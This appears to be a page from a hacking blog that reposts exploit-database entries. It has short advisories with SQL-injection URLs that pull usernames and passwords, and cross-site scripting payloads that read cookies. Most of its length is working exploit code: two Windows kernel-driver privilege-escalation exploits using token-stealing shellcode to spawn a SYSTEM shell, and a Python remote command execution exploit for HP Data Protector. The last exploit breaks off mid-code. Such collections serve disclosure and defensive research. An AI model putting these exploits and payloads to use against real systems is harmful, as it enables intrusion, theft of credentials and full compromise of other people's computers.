Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863117910

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/48683/info

Auto Web Toolbox is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/inventory/details.php?id=496 
            
source: https://www.securityfocus.com/bid/48684/info

Easy Estate Rental is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/demo/uk/site_location.php?s_location=46â??a 
            
source: https://www.securityfocus.com/bid/48685/info

The 'Foto' component for Joomla! is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_foto&task=categoria&id_categoria=-4+union+select+1,password,username,4,5,6,7+from+jos_users-- 
            
source: https://www.securityfocus.com/bid/48687/info

The Auerswald USB Device Driver for the Linux kernel is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code with superuser privileges, facilitating the complete compromise of affected computers. Failed exploit attempts will likely crash the kernel, denying service to legitimate users.

Linux kernel 2.6.26 is vulnerable; prior versions may also be affected. 

0xbf, 0x09, /*  u16 idVendor; */ 
0xc0, 0x00, /*  u16 idProduct; */ 
0x10, 0x42, /*  u16 bcdDevice */ 

case 1: 
      /* serial number */ 
      ret = set_usb_string(data, ��); 
          break; 
      case 2: 
          ret = set_usb_string(data,�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�);
            
HireHackking

Joomla! Component Juicy Gallery - 'picId' SQL Injection

source: https://www.securityfocus.com/bid/48688/info The Juicy Gallery component for Joomla! is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_juicy&task=showComments&picId=[EXPLOIT]
HireHackking

Joomla! Component Controller - 'Itemid' SQL Injection

source: https://www.securityfocus.com/bid/48690/info The Controller component for Joomla! is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_controller&id=53&Itemid=[SQLi]
HireHackking
/* Exploit Title - Trend Micro Multiple Products Arbitrary Write Privilege Escalation Date - 31st January 2015 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - http://www.trendmicro.co.uk/ Tested Version - 8.0.1133 Driver Version - 2.0.0.1009 - tmeext.sys Tested on OS - 32bit Windows XP SP3 OSVDB - http://www.osvdb.org/show/osvdb/115514 CVE ID - CVE-2014-9641 Vendor fix url - http://esupport.trendmicro.com/solution/en-US/1106233.aspx Fixed version - 8.0.1133 Fixed driver ver - 2.0.0.1015 */ #include <stdio.h> #include <windows.h> #define BUFSIZE 4096 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { PVOID Unknown1; PVOID Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemHandleInformation = 16 } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)( DWORD ProfileSource, PULONG Interval); typedef void (*FUNCTPTR)(); // Windows XP SP3 #define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct #define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct #define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct #define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct BYTE token_steal_xp[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN 0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 Away from the kernel }; DWORD HalDispatchTableAddress() { _NtQuerySystemInformation NtQuerySystemInformation; PSYSTEM_MODULE_INFORMATION pModuleInfo; DWORD HalDispatchTable; CHAR kFullName[256]; PVOID kBase = NULL; LPSTR kName; HMODULE Kernel; FUNCTPTR Hal; ULONG len; NTSTATUS status; NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); if (!status) { printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status); return -1; } pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); if(pModuleInfo == NULL) { printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); memset(kFullName, 0x00, sizeof(kFullName)); strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName); kBase = pModuleInfo->Module[0].Base; printf("[i] Kernel base name %s\n", kFullName); kName = strrchr(kFullName, '\\'); Kernel = LoadLibraryA(++kName); if(Kernel == NULL) { printf("[-] Failed to load kernel base\n\n"); return -1; } Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable"); if(Hal == NULL) { printf("[-] Failed to find HalDispatchTable\n\n"); return -1; } printf("[i] HalDispatchTable address 0x%08x\n", Hal); printf("[i] Kernel handle 0x%08x\n", Kernel); printf("[i] Kernel base address 0x%08x\n", kBase); HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase); printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable); if(!HalDispatchTable) { printf("[-] Failed to calculate HalDispatchTable\n\n"); return -1; } return HalDispatchTable; } int GetWindowsVersion() { int v = 0; DWORD version = 0, minVersion = 0, majVersion = 0; version = GetVersion(); minVersion = (DWORD)(HIBYTE(LOWORD(version))); majVersion = (DWORD)(LOBYTE(LOWORD(version))); if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP; if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7"; if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003; return v; } void spawnShell() { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } int main(int argc, char *argv[]) { _NtQueryIntervalProfile NtQueryIntervalProfile; LPVOID input[1] = {0}; LPVOID addrtoshell; HANDLE hDevice; DWORD dwRetBytes = 0; DWORD HalDispatchTableTarget; ULONG time = 0; unsigned char devhandle[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf(" Trend Micro Multiple Products (tmeext.sys) Arbitrary Write EoP Exploit \n"); printf(" Tested on Windows XP SP3 (32bit) \n"); printf("-------------------------------------------------------------------------------\n\n"); if (GetWindowsVersion() == 1) { printf("[i] Running Windows XP\n"); } if (GetWindowsVersion() == 0) { printf("[i] Exploit not supported on this OS\n\n"); return -1; } sprintf(devhandle, "\\\\.\\%s", "tmnethk"); NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { printf("[-] Unable to resolve NtQueryIntervalProfile\n\n"); return -1; } addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(addrtoshell == NULL) { printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell); memset(addrtoshell, 0x90, BUFSIZE); memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp)); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError()); return -1; } else { printf("[+] Open %s device successful\n", devhandle); } HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD); printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget); input[0] = addrtoshell; // input buffer contents gets written to our output buffer address printf("[+] Input buffer contents %08x\n", input[0]); printf("[~] Press any key to send Exploit . . .\n"); getch(); DeviceIoControl(hDevice, 0x00222400, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL); printf("[+] Buffer sent\n"); CloseHandle(hDevice); printf("[+] Spawning SYSTEM Shell\n"); NtQueryIntervalProfile(2, &time); spawnShell(); return 0; }
HireHackking

Joomla! Component com_newssearch - SQL Injection

source: https://www.securityfocus.com/bid/48698/info The 'com_newssearch' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_newssearch&type=detail&section=2&id=15'
HireHackking

BlueSoft (Multiple Products) - Multiple SQL Injections

source: https://www.securityfocus.com/bid/48703/info Multiple BlueSoft products are prone to multiple SQL-injection vulnerabilities because the applications fail to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. http://www.example.com/demo5/search.php?realtor=2â??a http://www.example.com/demo4/item.php?id=94edd43315507ad8509d7bfb2d2bc936â??a http://www.example.com/demo3/search.php?c=47â??a
HireHackking

BlueSoft Social Networking CMS - SQL Injection

source: https://www.securityfocus.com/bid/48707/info BlueSoft Social Networking CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/demo/user_profile.php?view=photo&photo_id=82â??a
HireHackking
source: https://www.securityfocus.com/bid/48714/info The bSuite plug-in for WordPress is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input. Attacker-supplied HTML and script code could be executed in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks may also be possible. bSuite versions 4.0.7 and prior are vulnerable. The following example URIs are available: http://www.example.com/wordpress/?s=<h2>XSSED</h2> http://www.example.com/wordpress/?p=1&<h1>XSSED</h1>
HireHackking

Joomla! < 1.6.5 - Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/48805/info Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Joomla! 1.6.5 and prior are vulnerable. http://www.example.com/index.php?option=com_resman&task=list&city=<BODY%20ONLOAD=alert("SOLVER")>
HireHackking
source: https://www.securityfocus.com/bid/48806/info Tiki Wiki CMS Groupware is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Tiki Wiki CMS Groupware 7.0 is vulnerable; other versions may also be affected. http://www.example.com/snarf_ajax.php?url=1&ajax=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking
source: https://www.securityfocus.com/bid/48875/info Online Grades is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Online Grades 3.2.5 is vulnerable; other versions may also be affected. http://www.example.com/admin/admin.php?func=1"><script>alert(1)</script>&skin=classic http://www.example.com/admin/admin.php?func=0&skin=1"><script>alert(1)</script> http://www.example.com/admin/admin.php?func=0&todo=1"><script>alert(1)</script> http://www.example.com/admin/admin.php?func=0&what=1"><script>alert(1)</script>&who=Faculty http://www.example.com/admin/admin.php?func=0&what=mail&who=1"><script>alert(1)</script> http://www.example.com/admin/admin.php/>"><script>alert(1)</script>
HireHackking

Synergy Software - 'id' SQL Injection

source: https://www.securityfocus.com/bid/48835/info Synergy Software is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. http://www.example.com/courses.php?id=-1 union select null,user_loginname_vc,null,null,null,user_pass_vc,null,null,null,null from user_m
HireHackking

Joomla! Component com_hospital - SQL Injection

source: https://www.securityfocus.com/bid/48689/info The 'com_hospital' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_hospital&view=departments&Itemid=21&did=[SQL INJECTION]
HireHackking

HP Data Protector 8.x - Remote Command Execution

#!/usr/bin/python # Exploit Title: HP-Data-Protector-8.x Remote command execution. # Google Dork: - # Date: 30/01/2015 # Exploit Author: Juttikhun Khamchaiyaphum # Vendor Homepage: https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818 # Software Link: http://www8.hp.com/th/en/software-solutions/data-protector-backup-recovery-software/ # Version: 8.x # Tested on: IA64 HP Server Rx3600 # CVE : CVE-2014-2623 # Usage: hp_data_protector_8_x.py <target ip> <port> <command e.g. "uname -m">" import socket import struct import sys def exploit(host, port, command): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((host, port)) print "[+] Target connected." OFFSET_DEC_START = 133 OFFSET_DEC = (OFFSET_DEC_START + len(command)) # print "OFFSET_DEC_START:" + str(OFFSET_DEC_START) # print "len(command)" + str(len(command)) # print "OFFSET_DEC" + str(OFFSET_DEC) OFFSET_HEX = "%x" % OFFSET_DEC # print "OFFSET_HEX" + str(OFFSET_HEX) OFFSET_USE = chr(OFFSET_DEC) # print "Command Length: " + str(len(command)) PACKET_DATA = "\x00\x00\x00"+\ OFFSET_USE+\ "\x20\x32\x00\x20\x73\x73\x73\x73\x73\x73\x00\x20\x30" + \ "\x00\x20\x54\x45\x53\x54\x45\x52\x00\x20\x74\x65\x73\x74\x65\x72\x00" + \ "\x20\x43\x00\x20\x32\x30\x00\x20\x74\x65\x73\x65\x72\x74\x65\x73\x74" + \ "\x2E\x65\x78\x65\x00\x20\x72\x65\x73\x65\x61\x72\x63\x68\x00\x20\x2F" + \ "\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x00\x20\x2F\x64\x65\x76\x2F\x6E\x75" + \ "\x6C\x6C\x00\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x00\x20\x30\x00" + \ "\x20\x32\x00\x20\x75\x74\x69\x6C\x6E\x73\x2F\x64\x65\x74\x61\x63\x68" + \ "\x00\x20\x2D\x64\x69\x72\x20\x2F\x62\x69\x6E\x20\x2D\x63\x6F\x6D\x20" + \ " %s\x00" %command # Send payload to target print "[+] Sending PACKET_DATA" sock.sendall(PACKET_DATA) # Parse the response back print "[*] Result:" while True: response = sock.recv(2048) if not response: break print response except Exception as ex: print >> sys.stderr, "[-] Socket error: \n\t%s" % ex exit(-3) sock.close() if __name__ == "__main__": try: target = sys.argv[1] port = int(sys.argv[2]) command = sys.argv[3] exploit(target, port, command) except IndexError: print("Usage: hp_data_protector_8_x.py <target ip> <port> <command e.g. \"uname -m\">") exit(0)
HireHackking
/* Exploit Title - Symantec Altiris Agent Arbitrary Write Privilege Escalation Date - 01st February 2015 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - http://www.symantec.com Tested Version - 6.9 (Build 648) Driver Version - No version set - AlKernel.sys Tested on OS - 32bit Windows XP SP3 and Windows Server 2003 SP2 OSVDB - http://www.osvdb.org/show/osvdb/116082 CVE ID - CVE-2014-7286 Vendor fix url - http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141219_00 Fixed version - To remove driver Fixed driver ver - n/a Note ---- Overwritten HAL dispatch table after exploit kd> dps nt!HalDispatchTable l c 8054ccb8 00000003 8054ccbc 746f6353 8054ccc0 6f725774 8054ccc4 68546574 8054ccc8 00217369 8054cccc 8050ac4d nt!HalExamineMBR 8054ccd0 805c6f89 nt!IoAssignDriveLetters 8054ccd4 805c4ae5 nt!IoReadPartitionTable 8054ccd8 80613f7b nt!IoSetPartitionInformation 8054ccdc 806141ef nt!IoWritePartitionTable 8054cce0 8052d157 nt!CcHasInactiveViews 8054cce4 804e42d1 nt!ObpTraceDepth+0x19 4 pointers are overwritten with the hardcoded string "ScottWroteThis!" set in the driver. The driver looks like has one main task is to retrieve configuration information about the hardware using the HalGetBusData function. If it cannot retrieve configuration information it sends the "ScottWroteThis!" string to the output buffer. Also to point out the driver is not signed, no file version set, no product version set, no product name set. Question about the string ""ScottWroteThis!" was posted online in 2006 http://mygreenpaste.blogspot.co.uk/2006/06/beam-me-up-scotty.html */ #include <stdio.h> #include <windows.h> #define INBUFSIZE 16 #define BUFSIZE 4096 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { PVOID Unknown1; PVOID Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemHandleInformation = 16 } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)( DWORD ProfileSource, PULONG Interval); typedef void (*FUNCTPTR)(); // Windows XP SP3 #define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct #define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct #define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct #define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct // Windows Server 2003 #define W2K3_KPROCESS 0x38 // Offset to _KPROCESS from a _ETHREAD struct #define W2K3_TOKEN 0xd8 // Offset to TOKEN from the _EPROCESS struct #define W2K3_UPID 0x94 // Offset to UniqueProcessId FROM the _EPROCESS struct #define W2K3_APLINKS 0x98 // Offset to ActiveProcessLinks _EPROCESS struct BYTE token_steal_xp[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN 0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 Away from the kernel }; BYTE token_steal_w2k3[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,W2K3_KPROCESS, // mov eax, [eax+W2K3_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,W2K3_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W2K3_TOKEN] Retrieves TOKEN 0x8b,0x80,W2K3_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W2K3_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,W2K3_APLINKS,0x00,0x00,0x00, // sub eax, W2K3_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,W2K3_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+W2K3_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W2K3_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov [eax+W2K3_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 Away from the kernel }; DWORD HalDispatchTableAddress() { _NtQuerySystemInformation NtQuerySystemInformation; PSYSTEM_MODULE_INFORMATION pModuleInfo; DWORD HalDispatchTable; CHAR kFullName[256]; PVOID kBase = NULL; LPSTR kName; HMODULE Kernel; FUNCTPTR Hal; ULONG len; NTSTATUS status; NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); if (!status) { printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status); return -1; } pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); if(pModuleInfo == NULL) { printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); memset(kFullName, 0x00, sizeof(kFullName)); strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName); kBase = pModuleInfo->Module[0].Base; printf("[i] Kernel base name %s\n", kFullName); kName = strrchr(kFullName, '\\'); Kernel = LoadLibraryA(++kName); if(Kernel == NULL) { printf("[-] Failed to load kernel base\n\n"); return -1; } Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable"); if(Hal == NULL) { printf("[-] Failed to find HalDispatchTable\n\n"); return -1; } printf("[i] HalDispatchTable address 0x%08x\n", Hal); printf("[i] Kernel handle 0x%08x\n", Kernel); printf("[i] Kernel base address 0x%08x\n", kBase); HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase); printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable); if(!HalDispatchTable) { printf("[-] Failed to calculate HalDispatchTable\n\n"); return -1; } return HalDispatchTable; } int GetWindowsVersion() { int v = 0; DWORD version = 0, minVersion = 0, majVersion = 0; version = GetVersion(); minVersion = (DWORD)(HIBYTE(LOWORD(version))); majVersion = (DWORD)(LOBYTE(LOWORD(version))); if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP; if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7"; if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003; return v; } void spawnShell() { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } int main(int argc, char *argv[]) { _NtQueryIntervalProfile NtQueryIntervalProfile; BYTE *inbuffer; BYTE *shell; LPVOID addrtoshell = (LPVOID)0x746f6353; HANDLE hDevice; DWORD dwRetBytes = 0; DWORD HalDispatchTableTarget; ULONG time = 0; unsigned char devhandle[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf(" Symantec Altiris Agent Arbitrary (alkernel.sys) Arbitrary Write EoP Exploit \n"); printf(" Tested on Windows XP SP3/Windows Server 2003 SP2 (32bit) \n"); printf("-------------------------------------------------------------------------------\n\n"); if (GetWindowsVersion() == 1) { printf("[i] Running Windows XP\n"); } if (GetWindowsVersion() == 3) { printf("[i] Running Windows Server 2003\n"); } if (GetWindowsVersion() == 0) { printf("[i] Exploit not supported on this OS\n\n"); return -1; } sprintf(devhandle, "\\\\.\\%s", "alkernel"); NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { printf("[-] Unable to resolve NtQueryIntervalProfile\n\n"); return -1; } inbuffer = VirtualAlloc(NULL, INBUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memset(inbuffer, 0x41, INBUFSIZE); shell = VirtualAlloc(addrtoshell, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(shell == NULL) { printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", shell); memset(addrtoshell, 0x90, BUFSIZE); if (GetWindowsVersion() == 1) { memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp)); } if (GetWindowsVersion() == 3) { memcpy(addrtoshell, token_steal_w2k3, sizeof(token_steal_w2k3)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w2k3)); } printf("[+] Shellcode located at address 0x%.8x\n", addrtoshell); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, 